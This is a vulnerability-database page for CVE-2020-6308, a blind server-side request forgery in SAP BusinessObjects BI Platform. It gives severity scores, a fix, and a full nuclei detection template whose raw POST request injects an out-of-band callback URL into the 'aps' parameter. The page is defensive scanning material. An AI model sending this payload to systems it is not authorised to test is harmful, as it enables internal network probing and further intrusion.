HexBrain

Browse / CVEs / CVE-2020-6308

CVE-2020-6308· sap / businessobjects business intelligence platform· CWE-918

SAP BusinessObjects Business Intelligence Platform - Blind Server-Side Request Forgery

mediumseverity
5.3CVSS score
61.7%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

SAP BusinessObjects Business Intelligence Platform (Web Services) 410, 420, and 430 is susceptible to blind server-side request forgery. An attacker can inject arbitrary values as CMS parameters to perform lookups on the internal network, which is otherwise not accessible externally. On successful exploitation, attacker can scan network to determine infrastructure and gather information for further attacks like remote file inclusion, retrieving server files, bypassing firewall, and forcing malicious requests.

Impact

Successful exploitation of this vulnerability could allow an attacker to send arbitrary requests from the vulnerable server, potentially leading to unauthorized access to internal resources or further attacks.

Fix

Apply the relevant security patches provided by SAP to mitigate this vulnerability.

How to confirm it

Send: POST /AdminTools/querybuilder/logon?framework=
Positive when: contains in interactsh_protocol "dns" AND contains in location "{{BaseURL}}/AdminTools/querybuilder/logonform.jsp"

Run it with nuclei: nuclei -id CVE-2020-6308 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2020-6308

info:
  name: SAP BusinessObjects Business Intelligence Platform - Blind Server-Side Request Forgery
  author: madrobot
  severity: medium
  description: |
    SAP BusinessObjects Business Intelligence Platform (Web Services) 410, 420, and 430 is susceptible to blind server-side request forgery. An attacker can inject arbitrary values as CMS parameters to perform lookups on the internal network, which is otherwise not accessible externally. On successful exploitation, attacker can scan network to determine infrastructure and gather information for further attacks like remote file inclusion, retrieving server files, bypassing firewall, and forcing malicious requests.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to send arbitrary requests from the vulnerable server, potentially leading to unauthorized access to internal resources or further attacks.
  remediation: |
    Apply the relevant security patches provided by SAP to mitigate this vulnerability.
  reference:
    - https://github.com/InitRoot/CVE-2020-6308-PoC
    - https://launchpad.support.sap.com/#/notes/2943844
    - https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=558632196
    - https://nvd.nist.gov/vuln/detail/CVE-2020-6308
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2020-6308
    cwe-id: CWE-918
    epss-score: 0.61736
    epss-percentile: 0.9918
    cpe: cpe:2.3:a:sap:businessobjects_business_intelligence_platform:4.1:-:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sap
    product: businessobjects_business_intelligence_platform
  tags: cve2020,cve,sap,ssrf,oast,unauth,vkev,vuln

http:
  - raw:
      - |
        POST /AdminTools/querybuilder/logon?framework= HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        aps={{interactsh-url}}&usr=anything&pwd=anything&aut=secEnterprise&main_page=ie.jsp&new_pass_page=newpwdform.jsp&exit_page=logonform.jsp

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: word
        part: location
        words:
          - "{{BaseURL}}/AdminTools/querybuilder/logonform.jsp"

References

Use this check only on systems you are authorised to test. Where the data comes from